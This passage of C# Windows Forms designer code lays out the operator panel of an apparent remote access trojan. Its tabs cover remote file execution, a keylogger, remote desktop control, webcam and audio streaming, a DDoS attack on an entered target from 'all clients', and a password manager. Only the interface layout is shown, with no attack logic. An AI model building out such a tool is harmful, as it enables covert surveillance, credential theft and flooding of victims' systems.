this.listDrivesToolStripMenuItem.Size = new System.Drawing.Size(152, 22);
this.listDrivesToolStripMenuItem.Text = "List Drives";
this.listDrivesToolStripMenuItem.Click += new System.EventHandler(this.listDrivesToolStripMenuItem_Click);
//
// enterDirectoryToolStripMenuItem
//
this.enterDirectoryToolStripMenuItem.Name = "enterDirectoryToolStripMenuItem";
this.enterDirectoryToolStripMenuItem.Size = new System.Drawing.Size(152, 22);
this.enterDirectoryToolStripMenuItem.Text = "Enter Directory";
this.enterDirectoryToolStripMenuItem.Click += new System.EventHandler(this.enterDirectoryToolStripMenuItem_Click);
//
// toolStripMenuItem1
//
this.toolStripMenuItem1.Name = "toolStripMenuItem1";
this.toolStripMenuItem1.Size = new System.Drawing.Size(152, 22);
this.toolStripMenuItem1.Text = "Up 1 Directory";
this.toolStripMenuItem1.Click += new System.EventHandler(this.toolStripMenuItem1_Click);
//
// moveToolStripMenuItem
//
this.moveToolStripMenuItem.Name = "moveToolStripMenuItem";
this.moveToolStripMenuItem.Size = new System.Drawing.Size(152, 22);
this.moveToolStripMenuItem.Text = "Move";
this.moveToolStripMenuItem.Click += new System.EventHandler(this.moveToolStripMenuItem_Click);
//
// copyToolStripMenuItem
//
this.copyToolStripMenuItem.Name = "copyToolStripMenuItem";
this.copyToolStripMenuItem.Size = new System.Drawing.Size(152, 22);
this.copyToolStripMenuItem.Text = "Copy";
this.copyToolStripMenuItem.Click += new System.EventHandler(this.copyToolStripMenuItem_Click);
//
// pasteToolStripMenuItem
//
this.pasteToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.currentDirectoryToolStripMenuItem,
this.selectedDirectoryToolStripMenuItem});
this.pasteToolStripMenuItem.Name = "pasteToolStripMenuItem";
this.pasteToolStripMenuItem.Size = new System.Drawing.Size(152, 22);
this.pasteToolStripMenuItem.Text = "Paste";
//
// currentDirectoryToolStripMenuItem
//
this.currentDirectoryToolStripMenuItem.Name = "currentDirectoryToolStripMenuItem";
this.currentDirectoryToolStripMenuItem.Size = new System.Drawing.Size(169, 22);
this.currentDirectoryToolStripMenuItem.Text = "Current Directory";
this.currentDirectoryToolStripMenuItem.Click += new System.EventHandler(this.currentDirectoryToolStripMenuItem_Click);
//
// selectedDirectoryToolStripMenuItem
//
this.selectedDirectoryToolStripMenuItem.Name = "selectedDirectoryToolStripMenuItem";
this.selectedDirectoryToolStripMenuItem.Size = new System.Drawing.Size(169, 22);
this.selectedDirectoryToolStripMenuItem.Text = "Selected Directory";
this.selectedDirectoryToolStripMenuItem.Click += new System.EventHandler(this.selectedDirectoryToolStripMenuItem_Click);
//
// executeToolStripMenuItem
//
this.executeToolStripMenuItem.Name = "executeToolStripMenuItem";
this.executeToolStripMenuItem.Size = new System.Drawing.Size(152, 22);
this.executeToolStripMenuItem.Text = "Execute";
this.executeToolStripMenuItem.Click += new System.EventHandler(this.executeToolStripMenuItem_Click);
//
// uploadToolStripMenuItem
//
this.uploadToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.currentDirectoryToolStripMenuItem1,
this.selectedDirectoryToolStripMenuItem1});
this.uploadToolStripMenuItem.Name = "uploadToolStripMenuItem";
this.uploadToolStripMenuItem.Size = new System.Drawing.Size(152, 22);
this.uploadToolStripMenuItem.Text = "Upload";
//
// currentDirectoryToolStripMenuItem1
//
this.currentDirectoryToolStripMenuItem1.Name = "currentDirectoryToolStripMenuItem1";
this.currentDirectoryToolStripMenuItem1.Size = new System.Drawing.Size(169, 22);
this.currentDirectoryToolStripMenuItem1.Text = "Current Directory";
this.currentDirectoryToolStripMenuItem1.Click += new System.EventHandler(this.currentDirectoryToolStripMenuItem1_Click);
//
// selectedDirectoryToolStripMenuItem1
//
this.selectedDirectoryToolStripMenuItem1.Name = "selectedDirectoryToolStripMenuItem1";
this.selectedDirectoryToolStripMenuItem1.Size = new System.Drawing.Size(169, 22);
this.selectedDirectoryToolStripMenuItem1.Text = "Selected Directory";
this.selectedDirectoryToolStripMenuItem1.Click += new System.EventHandler(this.selectedDirectoryToolStripMenuItem1_Click);
//
// downloadToolStripMenuItem
//
this.downloadToolStripMenuItem.Name = "downloadToolStripMenuItem";
this.downloadToolStripMenuItem.Size = new System.Drawing.Size(152, 22);
this.downloadToolStripMenuItem.Text = "Download";
this.downloadToolStripMenuItem.Click += new System.EventHandler(this.downloadToolStripMenuItem_Click);
//
// editToolStripMenuItem
//
this.editToolStripMenuItem.Name = "editToolStripMenuItem";
this.editToolStripMenuItem.Size = new System.Drawing.Size(152, 22);
this.editToolStripMenuItem.Text = "Edit";
this.editToolStripMenuItem.Click += new System.EventHandler(this.editToolStripMenuItem_Click);
//
// attributesToolStripMenuItem
//
this.attributesToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.hideToolStripMenuItem,
this.showToolStripMenuItem});
this.attributesToolStripMenuItem.Name = "attributesToolStripMenuItem";
this.attributesToolStripMenuItem.Size = new System.Drawing.Size(152, 22);
this.attributesToolStripMenuItem.Text = "Attributes";
//
// hideToolStripMenuItem
//
this.hideToolStripMenuItem.Name = "hideToolStripMenuItem";
this.hideToolStripMenuItem.Size = new System.Drawing.Size(103, 22);
this.hideToolStripMenuItem.Text = "Hide";
this.hideToolStripMenuItem.Click += new System.EventHandler(this.hideToolStripMenuItem_Click);
//
// showToolStripMenuItem
//
this.showToolStripMenuItem.Name = "showToolStripMenuItem";
this.showToolStripMenuItem.Size = new System.Drawing.Size(103, 22);
this.showToolStripMenuItem.Text = "Show";
this.showToolStripMenuItem.Click += new System.EventHandler(this.showToolStripMenuItem_Click);
//
// deleteToolStripMenuItem
//
this.deleteToolStripMenuItem.Name = "deleteToolStripMenuItem";
this.deleteToolStripMenuItem.Size = new System.Drawing.Size(152, 22);
this.deleteToolStripMenuItem.Text = "Delete";
this.deleteToolStripMenuItem.Click += new System.EventHandler(this.deleteToolStripMenuItem_Click);
//
// renameToolStripMenuItem
//
this.renameToolStripMenuItem.Name = "renameToolStripMenuItem";
this.renameToolStripMenuItem.Size = new System.Drawing.Size(152, 22);
this.renameToolStripMenuItem.Text = "Rename";
this.renameToolStripMenuItem.Click += new System.EventHandler(this.renameToolStripMenuItem_Click);
//
// newToolStripMenuItem
//
this.newToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.fileToolStripMenuItem,
this.directoryToolStripMenuItem});
this.newToolStripMenuItem.Name = "newToolStripMenuItem";
this.newToolStripMenuItem.Size = new System.Drawing.Size(152, 22);
this.newToolStripMenuItem.Text = "New";
//
// fileToolStripMenuItem
//
this.fileToolStripMenuItem.Name = "fileToolStripMenuItem";
this.fileToolStripMenuItem.Size = new System.Drawing.Size(122, 22);
this.fileToolStripMenuItem.Text = "File";
this.fileToolStripMenuItem.Click += new System.EventHandler(this.fileToolStripMenuItem_Click);
//
// directoryToolStripMenuItem
//
this.directoryToolStripMenuItem.Name = "directoryToolStripMenuItem";
this.directoryToolStripMenuItem.Size = new System.Drawing.Size(122, 22);
this.directoryToolStripMenuItem.Text = "Directory";
this.directoryToolStripMenuItem.Click += new System.EventHandler(this.directoryToolStripMenuItem_Click);
//
// tabPage7
//
this.tabPage7.Controls.Add(this.button19);
this.tabPage7.Controls.Add(this.button18);
this.tabPage7.Controls.Add(this.button17);
this.tabPage7.Controls.Add(this.button16);
this.tabPage7.Controls.Add(this.richTextBox3);
this.tabPage7.Location = new System.Drawing.Point(4, 22);
this.tabPage7.Name = "tabPage7";
this.tabPage7.Size = new System.Drawing.Size(901, 550);
this.tabPage7.TabIndex = 6;
this.tabPage7.Text = "Keylogger";
this.tabPage7.UseVisualStyleBackColor = true;
//
// button19
//
this.button19.Location = new System.Drawing.Point(251, 464);
this.button19.Name = "button19";
this.button19.Size = new System.Drawing.Size(75, 23);
this.button19.TabIndex = 4;
this.button19.Text = "Clear Buffer";
this.button19.UseVisualStyleBackColor = true;
this.button19.Click += new System.EventHandler(this.button19_Click);
//
// button18
//
this.button18.Location = new System.Drawing.Point(170, 464);
this.button18.Name = "button18";
this.button18.Size = new System.Drawing.Size(75, 23);
this.button18.TabIndex = 3;
this.button18.Text = "Retrive";
this.button18.UseVisualStyleBackColor = true;
this.button18.Click += new System.EventHandler(this.button18_Click);
//
// button17
//
this.button17.Location = new System.Drawing.Point(89, 464);
this.button17.Name = "button17";
this.button17.Size = new System.Drawing.Size(75, 23);
this.button17.TabIndex = 2;
this.button17.Text = "Stop";
this.button17.UseVisualStyleBackColor = true;
this.button17.Click += new System.EventHandler(this.button17_Click);
//
// button16
//
this.button16.Location = new System.Drawing.Point(8, 464);
this.button16.Name = "button16";
this.button16.Size = new System.Drawing.Size(75, 23);
this.button16.TabIndex = 1;
this.button16.Text = "Start";
this.button16.UseVisualStyleBackColor = true;
this.button16.Click += new System.EventHandler(this.button16_Click);
//
// richTextBox3
//
this.richTextBox3.Location = new System.Drawing.Point(8, 3);
this.richTextBox3.Name = "richTextBox3";
this.richTextBox3.Size = new System.Drawing.Size(885, 455);
this.richTextBox3.TabIndex = 0;
this.richTextBox3.Text = "";
//
// tabPage8
//
this.tabPage8.Controls.Add(this.lblQualityShow);
this.tabPage8.Controls.Add(this.lblChooseScreen);
this.tabPage8.Controls.Add(this.cmboChooseScreen);
this.tabPage8.Controls.Add(this.btnCountScreens);
this.tabPage8.Controls.Add(this.btnStartTaskManager);
this.tabPage8.Controls.Add(this.txtBControlKeyboard);
this.tabPage8.Controls.Add(this.label34);
this.tabPage8.Controls.Add(this.trackBar1);
this.tabPage8.Controls.Add(this.btnFullScreenMode);
this.tabPage8.Controls.Add(this.checkBoxrKeyboard);
this.tabPage8.Controls.Add(this.checkBoxrMouse);
this.tabPage8.Controls.Add(this.button22);
this.tabPage8.Controls.Add(this.button21);
this.tabPage8.Controls.Add(this.pictureBox1);
this.tabPage8.Location = new System.Drawing.Point(4, 22);
this.tabPage8.Name = "tabPage8";
this.tabPage8.Size = new System.Drawing.Size(901, 550);
this.tabPage8.TabIndex = 7;
this.tabPage8.Text = "Remote Desktop";
this.tabPage8.UseVisualStyleBackColor = true;
//
// lblQualityShow
//
this.lblQualityShow.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left)));
this.lblQualityShow.AutoSize = true;
this.lblQualityShow.BackColor = System.Drawing.Color.Yellow;
this.lblQualityShow.Location = new System.Drawing.Point(797, 527);
this.lblQualityShow.Name = "lblQualityShow";
this.lblQualityShow.Size = new System.Drawing.Size(33, 13);
this.lblQualityShow.TabIndex = 21;
this.lblQualityShow.Text = "(best)";
//
// lblChooseScreen
//
this.lblChooseScreen.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left)));
this.lblChooseScreen.AutoSize = true;
this.lblChooseScreen.Location = new System.Drawing.Point(546, 523);
this.lblChooseScreen.Name = "lblChooseScreen";
this.lblChooseScreen.Size = new System.Drawing.Size(83, 13);
this.lblChooseScreen.TabIndex = 20;
this.lblChooseScreen.Text = "Choose Screen:";
//
// cmboChooseScreen
//
this.cmboChooseScreen.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left)));
this.cmboChooseScreen.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList;
this.cmboChooseScreen.FormattingEnabled = true;
this.cmboChooseScreen.Location = new System.Drawing.Point(631, 518);
this.cmboChooseScreen.Name = "cmboChooseScreen";
this.cmboChooseScreen.Size = new System.Drawing.Size(75, 21);
this.cmboChooseScreen.TabIndex = 19;
//
// btnCountScreens
//
this.btnCountScreens.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left)));
this.btnCountScreens.Location = new System.Drawing.Point(549, 485);
this.btnCountScreens.Name = "btnCountScreens";
this.btnCountScreens.Size = new System.Drawing.Size(157, 23);
this.btnCountScreens.TabIndex = 18;
this.btnCountScreens.Text = "Count Screens";
this.btnCountScreens.UseVisualStyleBackColor = true;
this.btnCountScreens.Click += new System.EventHandler(this.btnCountScreens_Click);
//
// btnStartTaskManager
//
this.btnStartTaskManager.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left)));
this.btnStartTaskManager.Enabled = false;
this.btnStartTaskManager.Location = new System.Drawing.Point(395, 485);
this.btnStartTaskManager.Name = "btnStartTaskManager";
this.btnStartTaskManager.Size = new System.Drawing.Size(146, 23);
this.btnStartTaskManager.TabIndex = 17;
this.btnStartTaskManager.Text = "Start Remote TaskManager";
this.btnStartTaskManager.UseVisualStyleBackColor = true;
this.btnStartTaskManager.Click += new System.EventHandler(this.btnStartTaskManager_Click);
//
// txtBControlKeyboard
//
this.txtBControlKeyboard.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left)));
this.txtBControlKeyboard.BackColor = System.Drawing.SystemColors.Window;
this.txtBControlKeyboard.BorderStyle = System.Windows.Forms.BorderStyle.None;
this.txtBControlKeyboard.Cursor = System.Windows.Forms.Cursors.Arrow;
this.txtBControlKeyboard.ForeColor = System.Drawing.SystemColors.Window;
this.txtBControlKeyboard.Location = new System.Drawing.Point(181, 496);
this.txtBControlKeyboard.Multiline = true;
this.txtBControlKeyboard.Name = "txtBControlKeyboard";
this.txtBControlKeyboard.Size = new System.Drawing.Size(94, 20);
this.txtBControlKeyboard.TabIndex = 16;
this.txtBControlKeyboard.KeyDown += new System.Windows.Forms.KeyEventHandler(this.txtBControlKeyboard_KeyDown);
//
// label34
//
this.label34.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left)));
this.label34.AutoSize = true;
this.label34.Location = new System.Drawing.Point(756, 482);
this.label34.Name = "label34";
this.label34.Size = new System.Drawing.Size(110, 13);
this.label34.TabIndex = 15;
this.label34.Text = "Screen Refresh Rate:";
//
// trackBar1
//
this.trackBar1.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left)));
this.trackBar1.BackColor = System.Drawing.Color.Yellow;
this.trackBar1.Location = new System.Drawing.Point(727, 498);
this.trackBar1.Maximum = 100;
this.trackBar1.Minimum = 1;
this.trackBar1.Name = "trackBar1";
this.trackBar1.Size = new System.Drawing.Size(166, 45);
this.trackBar1.TabIndex = 14;
this.trackBar1.Value = 75;
this.trackBar1.Scroll += new System.EventHandler(this.trackBar1_Scroll);
//
// btnFullScreenMode
//
this.btnFullScreenMode.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left)));
this.btnFullScreenMode.Enabled = false;
this.btnFullScreenMode.Location = new System.Drawing.Point(395, 516);
this.btnFullScreenMode.Name = "btnFullScreenMode";
this.btnFullScreenMode.Size = new System.Drawing.Size(146, 23);
this.btnFullScreenMode.TabIndex = 5;
this.btnFullScreenMode.Text = "Fullscreen Mode";
this.btnFullScreenMode.UseVisualStyleBackColor = true;
this.btnFullScreenMode.Click += new System.EventHandler(this.btnFullRemoteScreen_Click);
//
// checkBoxrKeyboard
//
this.checkBoxrKeyboard.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left)));
this.checkBoxrKeyboard.AutoSize = true;
this.checkBoxrKeyboard.Location = new System.Drawing.Point(282, 520);
this.checkBoxrKeyboard.Name = "checkBoxrKeyboard";
this.checkBoxrKeyboard.Size = new System.Drawing.Size(107, 17);
this.checkBoxrKeyboard.TabIndex = 4;
this.checkBoxrKeyboard.Text = "Control Keyboard";
this.checkBoxrKeyboard.UseVisualStyleBackColor = true;
this.checkBoxrKeyboard.CheckedChanged += new System.EventHandler(this.checkBoxrKeyboard_CheckedChanged);
//
// checkBoxrMouse
//
this.checkBoxrMouse.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left)));
this.checkBoxrMouse.AutoSize = true;
this.checkBoxrMouse.Location = new System.Drawing.Point(182, 520);
this.checkBoxrMouse.Name = "checkBoxrMouse";
this.checkBoxrMouse.Size = new System.Drawing.Size(94, 17);
this.checkBoxrMouse.TabIndex = 3;
this.checkBoxrMouse.Text = "Control Mouse";
this.checkBoxrMouse.UseVisualStyleBackColor = true;
this.checkBoxrMouse.CheckedChanged += new System.EventHandler(this.checkBoxrMouse_CheckedChanged);
//
// button22
//
this.button22.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left)));
this.button22.Location = new System.Drawing.Point(87, 516);
this.button22.Name = "button22";
this.button22.Size = new System.Drawing.Size(75, 23);
this.button22.TabIndex = 2;
this.button22.Text = "Stop";
this.button22.UseVisualStyleBackColor = true;
this.button22.Click += new System.EventHandler(this.btnStopRemoteScreen_Click);
//
// button21
//
this.button21.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left)));
this.button21.Location = new System.Drawing.Point(6, 516);
this.button21.Name = "button21";
this.button21.Size = new System.Drawing.Size(75, 23);
this.button21.TabIndex = 1;
this.button21.Text = "Start";
this.button21.UseVisualStyleBackColor = true;
this.button21.Click += new System.EventHandler(this.btnStartRemoteScreen_Click);
//
// pictureBox1
//
this.pictureBox1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
| System.Windows.Forms.AnchorStyles.Left)
| System.Windows.Forms.AnchorStyles.Right)));
this.pictureBox1.Location = new System.Drawing.Point(8, 3);
this.pictureBox1.Name = "pictureBox1";
this.pictureBox1.Size = new System.Drawing.Size(890, 476);
this.pictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage;
this.pictureBox1.TabIndex = 0;
this.pictureBox1.TabStop = false;
this.pictureBox1.Tag = "rdesktop";
this.pictureBox1.Click += new System.EventHandler(this.pictureBox1_Click);
this.pictureBox1.MouseDown += new System.Windows.Forms.MouseEventHandler(this.pictureBox1_MouseDown);
this.pictureBox1.MouseMove += new System.Windows.Forms.MouseEventHandler(this.pictureBox1_MouseMove);
this.pictureBox1.MouseUp += new System.Windows.Forms.MouseEventHandler(this.pictureBox1_MouseUp);
//
// tabPage9
//
this.tabPage9.Controls.Add(this.button25);
this.tabPage9.Controls.Add(this.listView4);
this.tabPage9.Controls.Add(this.button24);
this.tabPage9.Location = new System.Drawing.Point(4, 22);
this.tabPage9.Name = "tabPage9";
this.tabPage9.Size = new System.Drawing.Size(901, 550);
this.tabPage9.TabIndex = 8;
this.tabPage9.Text = "Audio";
this.tabPage9.UseVisualStyleBackColor = true;
//
// button25
//
this.button25.Location = new System.Drawing.Point(107, 466);
this.button25.Name = "button25";
this.button25.Size = new System.Drawing.Size(105, 23);
this.button25.TabIndex = 2;
this.button25.Text = "Start Stream";
this.button25.UseVisualStyleBackColor = true;
this.button25.Click += new System.EventHandler(this.button25_Click);
//
// listView4
//
this.listView4.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] {
this.columnHeader16,
this.columnHeader17});
this.listView4.FullRowSelect = true;
this.listView4.Location = new System.Drawing.Point(8, 15);
this.listView4.MultiSelect = false;
this.listView4.Name = "listView4";
this.listView4.Size = new System.Drawing.Size(890, 445);
this.listView4.TabIndex = 1;
this.listView4.UseCompatibleStateImageBehavior = false;
this.listView4.View = System.Windows.Forms.View.Details;
//
// columnHeader16
//
this.columnHeader16.Text = "Product Name";
this.columnHeader16.Width = 376;
//
// columnHeader17
//
this.columnHeader17.Text = "Channel";
this.columnHeader17.Width = 83;
//
// button24
//
this.button24.Location = new System.Drawing.Point(8, 466);
this.button24.Name = "button24";
this.button24.Size = new System.Drawing.Size(93, 23);
this.button24.TabIndex = 0;
this.button24.Text = "List Devices";
this.button24.UseVisualStyleBackColor = true;
this.button24.Click += new System.EventHandler(this.button24_Click);
//
// tabPage10
//
this.tabPage10.Controls.Add(this.button27);
this.tabPage10.Controls.Add(this.button26);
this.tabPage10.Controls.Add(this.listView5);
this.tabPage10.Controls.Add(this.pictureBox2);
this.tabPage10.Location = new System.Drawing.Point(4, 22);
this.tabPage10.Name = "tabPage10";
this.tabPage10.Size = new System.Drawing.Size(901, 550);
this.tabPage10.TabIndex = 9;
this.tabPage10.Text = "WebCam";
this.tabPage10.UseVisualStyleBackColor = true;
//
// button27
//
this.button27.Location = new System.Drawing.Point(596, 226);
this.button27.Name = "button27";
this.button27.Size = new System.Drawing.Size(297, 23);
this.button27.TabIndex = 3;
this.button27.Text = "Start Stream";
this.button27.UseVisualStyleBackColor = true;
this.button27.Click += new System.EventHandler(this.button27_Click);
//
// button26
//
this.button26.Location = new System.Drawing.Point(596, 197);
this.button26.Name = "button26";
this.button26.Size = new System.Drawing.Size(297, 23);
this.button26.TabIndex = 2;
this.button26.Text = "List Video Devices";
this.button26.UseVisualStyleBackColor = true;
this.button26.Click += new System.EventHandler(this.button26_Click);
//
// listView5
//
this.listView5.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] {
this.columnHeader18,
this.columnHeader19});
this.listView5.FullRowSelect = true;
this.listView5.Location = new System.Drawing.Point(596, 3);
this.listView5.MultiSelect = false;
this.listView5.Name = "listView5";
this.listView5.Size = new System.Drawing.Size(302, 188);
this.listView5.TabIndex = 1;
this.listView5.UseCompatibleStateImageBehavior = false;
this.listView5.View = System.Windows.Forms.View.Details;
//
// columnHeader18
//
this.columnHeader18.Text = "ID";
//
// columnHeader19
//
this.columnHeader19.Text = "Device Name";
this.columnHeader19.Width = 233;
//
// pictureBox2
//
this.pictureBox2.Location = new System.Drawing.Point(8, 3);
this.pictureBox2.Name = "pictureBox2";
this.pictureBox2.Size = new System.Drawing.Size(582, 491);
this.pictureBox2.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage;
this.pictureBox2.TabIndex = 0;
this.pictureBox2.TabStop = false;
this.pictureBox2.Tag = "wcstream";
//
// tabPage11
//
this.tabPage11.Controls.Add(this.button30);
this.tabPage11.Controls.Add(this.button29);
this.tabPage11.Controls.Add(this.button28);
this.tabPage11.Controls.Add(this.groupBox2);
this.tabPage11.Controls.Add(this.groupBox1);
this.tabPage11.Controls.Add(this.label18);
this.tabPage11.Location = new System.Drawing.Point(4, 22);
this.tabPage11.Name = "tabPage11";
this.tabPage11.Size = new System.Drawing.Size(901, 550);
this.tabPage11.TabIndex = 10;
this.tabPage11.Text = "DDoS";
this.tabPage11.UseVisualStyleBackColor = true;
//
// button30
//
this.button30.Location = new System.Drawing.Point(602, 466);
this.button30.Name = "button30";
this.button30.Size = new System.Drawing.Size(75, 23);
this.button30.TabIndex = 7;
this.button30.Text = "Stop Attack";
this.button30.UseVisualStyleBackColor = true;
this.button30.Click += new System.EventHandler(this.button30_Click);
//
// button29
//
this.button29.Location = new System.Drawing.Point(683, 466);
this.button29.Name = "button29";
this.button29.Size = new System.Drawing.Size(97, 23);
this.button29.TabIndex = 6;
this.button29.Text = "Validate Target";
this.button29.UseVisualStyleBackColor = true;
this.button29.Click += new System.EventHandler(this.button29_Click);
//
// button28
//
this.button28.Location = new System.Drawing.Point(786, 466);
this.button28.Name = "button28";
this.button28.Size = new System.Drawing.Size(75, 23);
this.button28.TabIndex = 5;
this.button28.Text = "Start Attack";
this.button28.UseVisualStyleBackColor = true;
this.button28.Click += new System.EventHandler(this.button28_Click);
//
// groupBox2
//
this.groupBox2.Controls.Add(this.numericUpDown4);
this.groupBox2.Controls.Add(this.numericUpDown3);
this.groupBox2.Controls.Add(this.checkBox3);
this.groupBox2.Controls.Add(this.label25);
this.groupBox2.Controls.Add(this.label26);
this.groupBox2.Location = new System.Drawing.Point(488, 42);
this.groupBox2.Name = "groupBox2";
this.groupBox2.Size = new System.Drawing.Size(373, 401);
this.groupBox2.TabIndex = 4;
this.groupBox2.TabStop = false;
this.groupBox2.Text = "Attack";
//
// numericUpDown4
//
this.numericUpDown4.Location = new System.Drawing.Point(132, 97);
this.numericUpDown4.Minimum = new decimal(new int[] {
1,
0,
0,
0});
this.numericUpDown4.Name = "numericUpDown4";
this.numericUpDown4.Size = new System.Drawing.Size(120, 20);
this.numericUpDown4.TabIndex = 4;
this.numericUpDown4.Value = new decimal(new int[] {
1,
0,
0,
0});
//
// numericUpDown3
//
this.numericUpDown3.Location = new System.Drawing.Point(132, 71);
this.numericUpDown3.Minimum = new decimal(new int[] {
1,
0,
0,
0});
this.numericUpDown3.Name = "numericUpDown3";
this.numericUpDown3.Size = new System.Drawing.Size(120, 20);
this.numericUpDown3.TabIndex = 3;
this.numericUpDown3.Value = new decimal(new int[] {
1,
0,
0,
0});
//
// checkBox3
//
this.checkBox3.AutoSize = true;
this.checkBox3.Location = new System.Drawing.Point(31, 129);
this.checkBox3.Name = "checkBox3";
this.checkBox3.Size = new System.Drawing.Size(128, 17);
this.checkBox3.TabIndex = 2;
this.checkBox3.Text = "Attack with all clients!";
this.checkBox3.UseVisualStyleBackColor = true;
//
// label25
//
this.label25.AutoSize = true;
this.label25.Location = new System.Drawing.Point(28, 102);
this.label25.Name = "label25";
this.label25.Size = new System.Drawing.Size(56, 13);
this.label25.TabIndex = 1;
this.label25.Text = "Delay (ms)";
//
// label26
//
this.label26.AutoSize = true;
this.label26.Location = new System.Drawing.Point(28, 74);
this.label26.Name = "label26";
this.label26.Size = new System.Drawing.Size(98, 13);
this.label26.TabIndex = 0;
this.label26.Text = "Number of Threads";
//
// groupBox1
//
this.groupBox1.Controls.Add(this.numericUpDown2);
this.groupBox1.Controls.Add(this.comboBox5);
this.groupBox1.Controls.Add(this.numericUpDown1);
this.groupBox1.Controls.Add(this.textBox6);
this.groupBox1.Controls.Add(this.label22);
this.groupBox1.Controls.Add(this.label21);
this.groupBox1.Controls.Add(this.label20);
this.groupBox1.Controls.Add(this.label19);
this.groupBox1.Location = new System.Drawing.Point(6, 42);
this.groupBox1.Name = "groupBox1";
this.groupBox1.Size = new System.Drawing.Size(373, 401);
this.groupBox1.TabIndex = 1;
this.groupBox1.TabStop = false;
this.groupBox1.Text = "Target";
//
// numericUpDown2
//
this.numericUpDown2.Location = new System.Drawing.Point(98, 156);
this.numericUpDown2.Maximum = new decimal(new int[] {
65535,
0,
0,
0});
this.numericUpDown2.Minimum = new decimal(new int[] {
1,
0,
0,
0});
this.numericUpDown2.Name = "numericUpDown2";
this.numericUpDown2.Size = new System.Drawing.Size(120, 20);
this.numericUpDown2.TabIndex = 7;
this.numericUpDown2.Value = new decimal(new int[] {
1,
0,
0,
0});
//
// comboBox5
//
this.comboBox5.FormattingEnabled = true;
this.comboBox5.Items.AddRange(new object[] {
"TCP",
"UDP",
"ICMP ECHO (Ping)"});
this.comboBox5.Location = new System.Drawing.Point(83, 127);
this.comboBox5.Name = "comboBox5";
this.comboBox5.Size = new System.Drawing.Size(135, 21);
this.comboBox5.TabIndex = 6;
//
// numericUpDown1
//
this.numericUpDown1.Location = new System.Drawing.Point(67, 97);
this.numericUpDown1.Maximum = new decimal(new int[] {
65535,
0,
0,
0});
this.numericUpDown1.Minimum = new decimal(new int[] {
1,
0,
0,
0});
this.numericUpDown1.Name = "numericUpDown1";
this.numericUpDown1.Size = new System.Drawing.Size(151, 20);
this.numericUpDown1.TabIndex = 5;
this.numericUpDown1.Value = new decimal(new int[] {
1,
0,
0,
0});
//
// textBox6
//
this.textBox6.Location = new System.Drawing.Point(67, 71);
this.textBox6.Name = "textBox6";
this.textBox6.Size = new System.Drawing.Size(151, 20);
this.textBox6.TabIndex = 4;
//
// label22
//
this.label22.AutoSize = true;
this.label22.Location = new System.Drawing.Point(28, 158);
this.label22.Name = "label22";
this.label22.Size = new System.Drawing.Size(64, 13);
this.label22.TabIndex = 3;
this.label22.Text = "PacketSize:";
//
// label21
//
this.label21.AutoSize = true;
this.label21.Location = new System.Drawing.Point(28, 129);
this.label21.Name = "label21";
this.label21.Size = new System.Drawing.Size(49, 13);
this.label21.TabIndex = 2;
this.label21.Text = "Protocol:";
//
// label20
//
this.label20.AutoSize = true;
this.label20.Location = new System.Drawing.Point(28, 102);
this.label20.Name = "label20";
this.label20.Size = new System.Drawing.Size(29, 13);
this.label20.TabIndex = 1;
this.label20.Text = "Port:";
//
// label19
//
this.label19.AutoSize = true;
this.label19.Location = new System.Drawing.Point(28, 74);
this.label19.Name = "label19";
this.label19.Size = new System.Drawing.Size(20, 13);
this.label19.TabIndex = 0;
this.label19.Text = "IP:";
//
// label18
//
this.label18.AutoSize = true;
this.label18.Location = new System.Drawing.Point(3, 10);
this.label18.Name = "label18";
this.label18.Size = new System.Drawing.Size(126, 13);
this.label18.TabIndex = 0;
this.label18.Text = "Status: Waiting for action";
//
// tabPage12
//
this.tabPage12.Controls.Add(this.button32);
this.tabPage12.Controls.Add(this.button31);
this.tabPage12.Controls.Add(this.label23);
this.tabPage12.Controls.Add(this.listView6);
this.tabPage12.Location = new System.Drawing.Point(4, 22);
this.tabPage12.Name = "tabPage12";
this.tabPage12.Size = new System.Drawing.Size(901, 550);
this.tabPage12.TabIndex = 11;
this.tabPage12.Text = "Password Manager";
this.tabPage12.UseVisualStyleBackColor = true;
//
// button32
//
this.button32.Location = new System.Drawing.Point(673, 468);
this.button32.Name = "button32";
